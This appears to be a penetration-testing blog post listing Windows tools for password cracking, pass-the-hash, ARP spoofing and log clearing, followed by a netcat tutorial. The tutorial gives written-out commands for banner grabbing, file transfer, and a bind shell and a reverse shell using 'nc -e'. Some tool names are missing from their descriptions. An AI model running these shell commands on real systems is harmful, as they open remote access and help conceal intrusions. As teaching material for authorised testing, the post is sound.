Most penetration testers are using either a Mac or a Linux-based platform in order to perform their penetration testing activities.However it is always a good practice to have and a Windows virtual machine with some tools ready to be used for the engagement.The reason for this is that although Windows cannot be used as a main platform for penetration testing some of the utilities and tools can still help us to extract information from our windows targets.So in this post we will see some of the tools that we can use in our windows system.

The HashCheck Shell Extension makes it easy for anyone to calculate and verify checksums and hashes from Windows Explorer. In addition to integrating file checksumming functionality into Windows, HashCheck can also create and verify SFV files (and other forms of checksum files, such as .md5 files).

Netcat is often referred to as a “Swiss-army knife for TCP/IP”. Its list of features includes port scanning, transferring files, and port listening, and it can be used as a backdoor.

The Metasploit Project is a computer security project which provides information about security vulnerabilities and aids in penetration testing and IDS signature development.

Remote access software for desktop and mobile platforms.

SNMP tool that allows you to collect information about SNMP devices.

Cain & Abel is a password recovery tool for Microsoft Operating Systems. It allows easy recovery of various kind of passwords by sniffing the network, cracking encrypted passwords using Dictionary, Brute-Force and Cryptanalysis attacks, recording VoIP conversations, decoding scrambled passwords, recovering wireless network keys, revealing password boxes, uncovering cached passwords and analyzing routing protocols.

Wireshark is a free and open-source packet analyzer. It is used for network troubleshooting, analysis, software and communications protocol development.

PuTTY is an SSH and telnet client for the Windows platform.

The Pass-The-Hash Toolkit contains utilities to manipulate the Windows Logon Sessions mantained by the LSA (Local Security Authority) component. These tools allow you to list the current logon sessions with its corresponding NTLM credentials (e.g.: users remotely logged in thru Remote Desktop/Terminal Services), and also change in runtime the current username, domain name, and NTLM hashes.

Recovering Windows Password Cache Entries.

Identify unknown open ports and their associated applications.

This is a command-line tool that scans for open NETBIOS nameservers on a local or remote TCP/IP network, and this is a first step in finding of open shares.

Burp Suite is an integrated platform for performing security testing of web applications. Its various tools work seamlessly together to support the entire testing process, from initial mapping and analysis of an application’s attack surface, through to finding and exploiting security vulnerabilities.

Winfo uses null sessions to remotely try to retrieve lists of and information about user accounts, workstation/interdomain/server trust accounts, shares (also hidden), sessions, logged in users, and password/lockout policy, from Windows NT/2000/XP. It also identifies the built-in Administrator and Guest accounts, even if their names have been changed.

ClearLogs clears the event log (Security, System or Application) that you specify. You run it from the Command Prompt, and it can also clear logs on a remote computer.

SQLdict is a dictionary attack tool for SQL Server.

PMDump is a tool that lets you dump the memory contents of a process to a file without stopping the process.

GrabItAll performs traffic redirection by sending spoofed ARP replies. It can redirect traffic from one computer to the attackers computer, or redirect traffic between two other computers through the attackers computer. In the last case you need to enable IP Forwarding which can be done with GrabItAll too.

DumpUsers is able to dump account names and information even though RestrictAnonymous has been set to 1.

BrowseList retrieves the browse list. The output list contains computer names, and the roles they play in the network. For example you can see which are PDC, BDC, stand-alone servers and workstations. You can also see the system comments (which can be very interesting reading).

Remoxec executes a program using RPC (Task Scheduler) or DCOM (Windows Management Instrumentation).

Brute-force tool for Windows Management Instrumentation (WMI).

Venom is a tool to run dictionary password attacks against Windows accounts by using the Windows Management Instrumentation (WMI) service. This can be useful in those cases where the server service has been disabled.

The SMB Auditing Tool is a password auditing tool for the Windows-and the SMB-platform. It makes it possible to exploit the timeout architecture bug in Windows 2000/XP, making it extremly fast to guess passwords on these platforms.

RPCScan v2.03 is a Windows based detection and analysis utility that can quickly and accurately identify Microsoft operating systems that are vulnerable to the multiple buffer overflow vulnerabilities released in the MS03-026 and MS03-039 bulletins.

LSASecretsDump is a small console application that extract the LSA secrets from the Registry, decrypt them, and dump them into the console window.

SQL Ping is a nice little command line enumerator that specifically looks for SQL servers and requires no authentication whatsoever.

The Oracle Auditing Tools is a toolkit that could be used to audit security within Oracle database servers.

Extract password hashes from local user accounts.

The PsTools package provides a set of command line utilities that allow you to manage local and remote systems.

Incognito is a tool for manipulating windows access tokens and is intended for use by penetration testers, security consultants and system administrators.

DumpSec is a security auditing program for Microsoft Windows® NT/XP/200x. It dumps the permissions (DACLs) and audit settings (SACLs) for the file system, registry, printers and shares in a concise, readable format, so that holes in system security are readily apparent. DumpSec also dumps user, group and replication information.

X-Deep/32 is an X Window Server for Windows NT/2000/9X/ME/XP that can be used to connect to host systems running UNIX, LINUX, IBM AIX etc.

Windows password cracker.

Ophcrack is a free Windows password cracker based on rainbow tables.

SiVus is the first publicly available vulnerability scanner for VoIP networks that use the SIP protocol. It provides powerful features to assess the security and robustness of VoIP implementations.

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Netcat is a computer networking service for reading from and writing network connections using TCP or UDP. Netcat is designed to be a dependable "back-end" device that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and investigation tool, since it can produce almost any kind of correlation you would need and has a number of built-in capabilities

Although NetCat is not the state of the art tool anymore and it sends all packets uncrypted through the net, it´s still a very good tool for easy banner grabbing, binding shells or reverse shells.


Banner Grabbing Commandline:

nc -v 192.168.0.200 21

nslookup -querytype=mx debian.org
nc -v xxx.debian.org 25

nslookup -querytype=mx dell.com
nc -v xxx.dell.com 25

nc -v 192.168.0.200 80
GET / HTTP/1.1

nc -v www.dell.com 80
GET / HTTP/1.1

nc -v 192.168.0.200 21


Weberserver Commandline:


while true; do nc -l -p 80 -q 1 < bla.html; done


File Transfer Commandline:


windows maschine file server nc -lvp 4444 > captured.txt
linux maschine: nc -v target-ip < info.txt this cmd will send the content of the file INFO.TXT to the Server into the file CAPTURED.TXT

Shell Commandlines:


Bind Shell

windows maschine: nc -lvp 4444 -e cmd.exe
linux maschine: nc -v 192.168.0.200 4444

Connecting from the linux system to the windows system,
which isn´t located behind a NAT System.

Reverse Shell

windows maschine: nc -lvp 4444
linux maschine: nc -nv 192.168.0.200 4444 -e /bin/bash
/sbin/ifconfig

Sending a /bin/bash Shell from a Linux system behind a NAT to the
windows system, which is listening on port 4444. traversing NAT.